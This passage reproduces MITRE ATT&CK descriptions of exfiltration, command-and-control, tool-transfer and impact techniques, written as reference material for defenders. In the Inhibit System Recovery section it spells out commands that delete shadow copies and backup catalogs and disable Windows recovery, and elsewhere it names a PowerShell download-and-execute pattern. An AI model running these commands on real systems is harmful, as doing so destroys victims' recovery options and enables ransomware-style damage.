This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.


T1560.001
Archive Collected Data: Archive via Utility

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.


Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.


On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.


Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)


TA0010
Exfiltration

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.


Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.


Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)


Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.


T1048
Exfiltration Over Alternative Protocol

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.


Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.


Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)


Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API.


T1567
Exfiltration Over Web Service

Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.


Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.


TA0011
Command and Control

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.


Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.


T1071
Application Layer Protocol

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.


Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.


T1090
Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.


Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.


T1095
Non-Application Layer Protocol

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).


ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.


T1102.002
Web Service: Bidirectional Communication

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.


Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.


T1105
Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).


On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)


Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.


Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service’s web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim’s machine.(Citation: Dropbox Malware Sync)


TA0040
Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)


In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)


To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as “print bombing”).(Citation: NHS Digital Egregor Nov 2020)


In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)


T1486
Data Encrypted for Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)


In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)


To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as “print bombing”).(Citation: NHS Digital Egregor Nov 2020)


In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)


T1490
Inhibit System Recovery

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.


Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)


A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:


* vssadmin.exe can be used to delete all volume shadow copies on a system – vssadmin.exe delete shadows /all /quiet

* Windows Management Instrumentation can be used to delete volume shadow copies – wmic shadowcopy delete

* wbadmin.exe can be used to delete the Windows Backup Catalog – wbadmin.exe delete catalog -quiet

* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data – bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system


On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.


Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)


T1499.004
Endpoint Denial of Service: Application or System Exploitation

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.


Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.


T1529
System Shutdown/Reboot

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)


Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.


Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)


* © 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

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